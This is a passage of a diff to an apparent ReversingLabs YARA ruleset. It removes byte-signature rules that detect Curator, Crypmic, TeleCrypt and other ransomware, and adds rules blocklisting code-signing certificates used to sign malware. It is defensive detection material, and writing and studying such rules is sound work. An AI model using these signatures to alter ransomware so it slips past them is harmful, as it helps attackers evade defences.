?? - 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? - ?? 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 89 55 ?? 8B 45 ?? 89 85 ?? ?? ?? - ?? 8B 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D - ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? - 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 - ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 4D ?? 51 - E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? - ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 8B 4D - ?? 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B - 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 83 7D - ?? ?? 75 ?? 8B 4D ?? 3B 4D ?? 73 ?? 8B 45 ?? 33 D2 B9 ?? ?? ?? ?? F7 F1 B8 ?? ?? ?? - ?? 2B C2 89 45 ?? 8B 4D ?? 03 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51 - E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 8B 45 ?? 03 45 ?? 50 8B 4D ?? 51 - } - $file_encrypt_2 = { - 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 03 45 ?? 39 85 ?? ?? ?? ?? - 74 ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? - 83 C4 ?? 8B 95 ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? - ?? 83 7D ?? ?? 74 ?? 8B 8D ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 8B 55 ?? 52 8B 45 ?? 50 - 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 03 55 ?? 89 55 ?? 8B 45 ?? 03 45 ?? 89 - 45 ?? 6A ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 83 C0 ?? 89 45 - ?? 6A ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 83 C0 ?? 89 45 ?? - 6A ?? 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 83 C0 ?? 89 - 45 ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 83 C0 ?? 89 45 - ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 05 ?? ?? - ?? ?? 89 45 ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 83 C0 - ?? 89 45 ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 2B 55 ?? 52 8B 45 ?? 50 8B 8D ?? ?? - ?? ?? 51 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 55 ?? 2B 55 ?? 39 95 ?? ?? ?? ?? 74 ?? EB ?? - EB ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? E9 ?? - ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7E ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 8D ?? ?? - ?? ?? 51 8B 95 ?? ?? ?? ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? - 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7E ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? - ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 8B E5 5D C3 - } - $enum_shares = { - 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 - ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8D 45 ?? - 50 8B 4D ?? 51 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 50 8D 4D ?? 51 8B 55 ?? 52 E8 ?? - ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 - ?? 8B 4D ?? 3B 4D ?? 0F 83 ?? ?? ?? ?? 8B 55 ?? C1 E2 ?? 8B 45 ?? 83 7C 10 ?? ?? 75 - ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 50 8B 55 ?? 52 8B 45 ?? C1 E0 ?? 8B 4D ?? 8B 54 01 ?? - 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 6A ?? 8B 45 ?? 50 8B 4D ?? C1 E1 ?? 8B 55 ?? - 8B 44 0A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8B 4D ?? 51 8B 55 ?? C1 E2 ?? 8B 45 ?? - 8B 4C 10 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C1 E2 ?? 8B 45 ?? 8B 4C 10 ?? 83 E1 - ?? 74 ?? 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? C1 E1 ?? 03 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 - ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 55 ?? - 52 E8 ?? ?? ?? ?? 8D 45 ?? 50 8B 4D ?? 51 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 0F - 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 50 8D - 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB - ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 3B 4D ?? 0F 83 ?? ?? ?? ?? 8B 55 ?? C1 E2 ?? - 8B 45 ?? 83 7C 10 ?? ?? 75 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 50 8B 55 ?? 52 8B 45 ?? C1 - E0 ?? 8B 4D ?? 8B 54 01 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 6A ?? 8B 45 ?? 50 - 8B 4D ?? C1 E1 ?? 8B 55 ?? 8B 44 0A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8B 4D ?? 51 - 8B 55 ?? C1 E2 ?? 8B 45 ?? 8B 4C 10 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C1 E2 ?? - 8B 45 ?? 8B 4C 10 ?? 83 E1 ?? 74 ?? 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? C1 E1 ?? 03 4D - ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? E9 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and $file_search and $enum_shares and $file_encrypt_1 and $file_encrypt_2 + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Shenzhen Yunhuitianxia Technology Co.,Ltd." and pe.signatures [ i ] . serial == "2d:f4:53:58:81:77:cf:1c:0c:29:7f:f4" and 1479735173 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win64_Ransomware_Curator : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_0619C5E39A4Fc60A32F9B07F6A4Ca328 : INFO FILE { meta: - description = "Yara rule that detects Curator ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "401f1d64-afd9-55b1-8e87-b808d4679e9a" - date = "2021-04-22" - modified = "2021-04-22" + id = "ae3ef9cf-4b67-5cb8-9c9b-3edb95da222c" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Curator.yara#L1-L94" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16690-L16706" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8bd29195cea0f1194e27c48ed07c52100abb7dd3de2ef7f51a645d32c3527eb3" + logic_hash = "75e3dfd593d7fdc268de54430be617c015957a624f2ca36bc0036d4cbde5b686" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Curator" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 44 8B CB C7 44 24 ?? ?? ?? ?? ?? 45 33 C0 48 8D 8D ?? ?? ?? ?? 33 D2 FF 15 ?? ?? ?? - ?? 48 8B BD ?? ?? ?? ?? 4C 8D 35 ?? ?? ?? ?? 48 85 FF 0F 84 ?? ?? ?? ?? 48 8B 0D ?? - ?? ?? ?? 41 8B DC 48 81 C1 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 7E ?? 45 33 F6 48 8B - 05 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? BA ?? ?? ?? ?? 41 0F BE 8C 06 ?? ?? ?? ?? 45 0F - BE 8C 06 ?? ?? ?? ?? 89 4C 24 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 48 8D 8D - ?? ?? ?? ?? 44 8D 42 ?? E8 ?? ?? ?? ?? 8B CB 4D 8D 76 ?? FF C3 41 83 C4 ?? 88 84 0D - ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 81 C1 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 44 3B E0 7C - ?? 4C 8D 35 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 45 33 E4 48 89 44 24 ?? 48 8D 95 ?? ?? - ?? ?? 45 33 C9 44 89 64 24 ?? 44 8B C3 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? - ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8D 4C 24 ?? 48 8B 15 ?? ?? ?? ?? 4C 8B C3 E8 ?? ?? ?? - ?? 48 8B 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 45 8D 44 24 ?? - 48 89 44 24 ?? 45 33 C9 48 8D 44 24 ?? 89 9D ?? ?? ?? ?? 33 D2 48 89 44 24 ?? FF 15 - ?? ?? ?? ?? 85 C0 74 ?? 41 8B DC 44 39 A5 ?? ?? ?? ?? 76 ?? 8B C3 4C 8D 05 ?? ?? ?? - ?? BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 44 0F B6 4C 04 ?? E8 ?? ?? ?? ?? 48 8D 95 ?? - ?? ?? ?? 49 8B CE FF 15 ?? ?? ?? ?? FF C3 3B 9D ?? ?? ?? ?? 72 ?? 48 8B 8D ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 33 D2 48 8B CF FF 15 ?? ?? ?? ?? B9 - } - $encrypt_files_p2 = { - 48 8B C4 48 89 58 ?? 48 89 70 ?? 48 89 78 ?? 55 41 54 41 55 41 56 41 57 48 8D A8 ?? - ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 2B E0 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 - 85 ?? ?? ?? ?? 45 33 E4 C7 44 24 ?? ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 44 89 25 ?? ?? ?? - ?? 48 8D 95 ?? ?? ?? ?? 44 89 25 ?? ?? ?? ?? 33 C9 44 89 25 ?? ?? ?? ?? 45 8B FC 4C - 89 25 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 63 C8 - 48 8D 85 ?? ?? ?? ?? 48 8D 04 48 48 83 C0 ?? 66 83 38 ?? 75 ?? 66 44 89 20 4C 8D 05 - ?? ?? ?? ?? 48 83 C0 ?? 4C 89 64 24 ?? 48 89 05 ?? ?? ?? ?? 45 33 C9 48 8D 05 ?? ?? - ?? ?? 44 89 64 24 ?? 33 D2 48 89 05 ?? ?? ?? ?? 33 C9 FF 15 ?? ?? ?? ?? 33 D2 33 C9 - 44 8D 42 ?? FF 15 ?? ?? ?? ?? 48 8B F0 48 85 C0 74 ?? 48 8B 1D ?? ?? ?? ?? 48 81 C3 - ?? ?? ?? ?? EB ?? 48 8B CB FF 15 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8B D3 48 8B CE 44 - 8B F0 FF 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 74 ?? 4C 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? - 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 41 8D 46 - } - $find_files = { - 48 89 5C 24 ?? 48 89 7C 24 ?? 55 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 8B - 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? 48 8B F9 4C 8D 05 ?? ?? ?? ?? 4C 8B C9 - BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 8D ?? ?? - ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? - 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF - 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 44 24 ?? 4C 8B CF 4C 8D 05 ?? ?? ?? ?? 48 89 44 24 - ?? BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? F6 44 24 ?? ?? 48 8D 8D ?? - ?? ?? ?? 74 ?? 48 8D 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? EB ?? FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85 - ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? - ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 7B ?? 49 8B E3 - 5D C3 - } - $remote_connection = { - 44 0F B7 45 ?? 33 DB 48 8B 55 ?? 45 33 C9 48 89 5C 24 ?? 48 8B CE 89 5C 24 ?? C7 44 - 24 ?? ?? ?? ?? ?? 48 89 5C 24 ?? FF 15 ?? ?? ?? ?? 4C 8B F0 48 85 C0 0F 84 ?? ?? ?? - ?? 80 7D ?? ?? B9 ?? ?? ?? ?? 4C 8B 45 ?? B8 ?? ?? ?? ?? 48 8B 55 ?? 0F 44 C8 48 89 - 5C 24 ?? 45 33 C9 89 4C 24 ?? 89 4D ?? 49 8B CE 48 89 5C 24 ?? 48 89 5C 24 ?? FF 15 - ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 83 65 ?? ?? 4C 8D 4D ?? 4C 8D 45 ?? - C7 45 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 81 4D ?? - ?? ?? ?? ?? 4C 8D 45 ?? 41 B9 ?? ?? ?? ?? 48 8B CB 41 8D 51 ?? FF 15 ?? ?? ?? ?? 4C - 8B 4D ?? 48 8B C7 48 F7 D8 48 8B D7 8B 45 ?? 48 8B CB 45 1B C0 89 44 24 ?? FF 15 ?? - ?? ?? ?? 85 C0 74 ?? 33 FF 83 65 ?? ?? 48 8D 55 ?? 45 33 C9 45 33 C0 48 8B CB FF 15 - ?? ?? ?? ?? 85 C0 74 ?? 8B 55 ?? 49 8B CF 03 D7 E8 ?? ?? ?? ?? 44 8B 45 ?? 4C 8D 4D - ?? 8B D7 48 8B CB 48 03 D0 4C 8B F8 FF 15 ?? ?? ?? ?? 8B 45 ?? 03 F8 EB ?? 8B 45 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yuanyuan Zhang" and pe.signatures [ i ] . serial == "06:19:c5:e3:9a:4f:c6:0a:32:f9:b0:7f:6a:4c:a3:28" and 1475884800 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_2Bffef48E6A321B418041310Fdb9B0D0 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "6a29551f-8359-5394-9acd-00c3b25d7064" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16708-L16724" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "30a079b55b75b292f7af4f5ae99184cbb3cca1ce4cf20f2f5c961b533673db00" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( $remote_connection ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "A&D DOMUS LIMITED" and pe.signatures [ i ] . serial == "2b:ff:ef:48:e6:a3:21:b4:18:04:13:10:fd:b9:b0:d0" and 1554681600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Crypmic : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_34Ec9565805F34204C6966Fb81E36Ba1 : INFO FILE { meta: - description = "Yara rule that detects Crypmic ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0d5c2141-c0ca-53c8-91fd-ec2d5f163df2" - date = "2020-06-26" - modified = "2020-07-15" + id = "bd032608-8622-5c7a-a3a7-808d73e611d7" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Crypmic.yara#L1-L56" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16726-L16742" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ee97c4d35cee68e080a4e9e0a21ecd3698da638463881a58f5daaf906ef86f75" + logic_hash = "e434a02f5b9b22a25d8fe7a0bb7bd81b1cd8bc5356b4b626e3bfceb3f554a085" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Crypmic" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $search_and_encrypt_1 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 B8 ?? ?? ?? ?? 57 8B F9 89 7D ?? C7 45 ?? ?? ?? ?? - ?? 89 45 ?? 8D 50 ?? 68 ?? ?? ?? ?? 6A ?? FF 77 ?? 66 89 85 ?? ?? ?? ?? 8B 47 ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF D0 66 8B 95 ?? ?? ?? ?? 33 F6 33 - C9 89 45 ?? 66 3B F2 74 ?? 0F B7 D2 41 66 89 14 06 8D 34 09 33 DB 0F B7 94 35 ?? ?? - ?? ?? 66 3B DA 75 ?? BA ?? ?? ?? ?? 66 89 14 48 8D 1C 48 8D 8D ?? ?? ?? ?? 51 C7 43 - ?? ?? ?? ?? ?? 50 8B 47 ?? FF D0 8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? - ?? 74 ?? 66 8B 8D ?? ?? ?? ?? 66 83 F9 ?? 74 ?? 66 83 BD ?? ?? ?? ?? ?? 74 ?? 33 D2 - 33 C0 66 3B D1 74 ?? 0F B7 C9 8B FF 40 66 89 4C 1A ?? 8D 14 00 C7 45 ?? ?? ?? ?? ?? - 0F B7 8C 15 ?? ?? ?? ?? 66 39 4D ?? 75 ?? 8B 55 ?? 33 C9 66 89 4C 43 ?? 68 ?? ?? ?? - ?? 8B CF E8 ?? ?? ?? ?? 83 C4 ?? 01 45 ?? 8D 85 ?? ?? ?? ?? 50 8B 47 ?? 56 FF D0 85 - C0 75 ?? 8B 47 ?? 56 FF D0 8D 85 ?? ?? ?? ?? 50 FF 75 ?? C7 43 ?? ?? ?? ?? ?? 8B 47 - } - $search_and_encrypt_2 = { - 33 F6 89 75 ?? FF D0 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? EB ?? 8D 9B ?? ?? ?? ?? - F6 85 ?? ?? ?? ?? ?? 75 ?? 66 8B BD ?? ?? ?? ?? 33 F6 8B 8E ?? ?? ?? ?? 8D 95 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 83 FF ?? 75 ?? - EB ?? 8D 9B ?? ?? ?? ?? 66 8B 48 ?? 83 C0 ?? 83 C2 ?? 66 3B 0A 74 ?? 66 83 38 ?? 0F - 85 ?? ?? ?? ?? 66 83 3A ?? 0F 85 ?? ?? ?? ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 72 ?? 8B 7D - ?? 8B 75 ?? 8B 45 ?? 8D 8D ?? ?? ?? ?? 51 50 8B 47 ?? FF D0 85 C0 8B 45 ?? 0F 85 ?? - ?? ?? ?? 50 8B 47 ?? FF D0 85 F6 74 ?? 8B 55 ?? 33 C0 8B CF 66 89 43 ?? E8 ?? ?? ?? - ?? FF 75 ?? 8B 47 ?? 6A ?? FF 77 ?? FF D0 8B 45 ?? 8B 5D ?? 03 C6 03 D8 8B 45 ?? 40 - 89 5D ?? 89 45 ?? BA ?? ?? ?? ?? 83 F8 ?? 0F 8E ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 50 8B 47 ?? 68 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B CF E8 - ?? ?? ?? ?? 83 C4 ?? 03 C3 5F 5E 5B 8B E5 5D C3 33 C9 33 C0 66 3B CF 74 ?? 0F B7 CF - 33 D2 8D 9B ?? ?? ?? ?? 40 66 89 4C 1A ?? 8D 14 00 33 F6 0F B7 8C 15 ?? ?? ?? ?? 66 - 3B F1 75 ?? 8B 75 ?? FF 75 ?? 8B 7D ?? 33 C9 46 57 66 89 4C 43 ?? 89 75 ?? E8 ?? ?? - ?? ?? E9 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "34:ec:95:65:80:5f:34:20:4c:69:66:fb:81:e3:6b:a1" and 1476921600 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_B2B934B7F01E0Ac1E577814992243709 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "19930e7b-09cb-5c04-b838-3d8d73ba194b" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16744-L16762" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "37b254ab76d144c09cc7b622dba59f5e372bf01ae12ce260a06143abb52062f6" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( ( all of ( $search_and_encrypt_* ) ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MS CORP SOFTWARE LTD" and ( pe.signatures [ i ] . serial == "00:b2:b9:34:b7:f0:1e:0a:c1:e5:77:81:49:92:24:37:09" or pe.signatures [ i ] . serial == "b2:b9:34:b7:f0:1e:0a:c1:e5:77:81:49:92:24:37:09" ) and 1590710400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Telecrypt : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_3A1B397Fd9451E3B5891Fc69681Ed73D : INFO FILE { meta: - description = "Yara rule that detects TeleCrypt ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c4eada2d-72c0-5efe-bf2b-8f053348d89d" - date = "2020-06-26" - modified = "2020-07-15" + id = "6bdba43f-4003-5807-9adc-20691fbc8d14" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.TeleCrypt.yara#L1-L109" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16764-L16780" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9d856eae4369cd7ba1d88bd6ef37931e069127e2c05a84a44f5274f681e83fc0" + logic_hash = "ca43c7bacd8cb5a896c3135abf4a131bdb4a7f5093e64c8d1df743fad0c1c64a" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "TeleCrypt" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_file = { - 57 E8 ?? ?? ?? ?? 89 03 EB ?? 6A ?? E8 ?? ?? ?? ?? 89 03 66 83 BB ?? ?? ?? ?? ?? 0F - 85 ?? ?? ?? ?? 8B 03 50 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 66 81 7B ?? ?? ?? 75 ?? E8 ?? - ?? ?? ?? 66 89 83 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 89 83 ?? ?? ?? ?? E9 - ?? ?? ?? 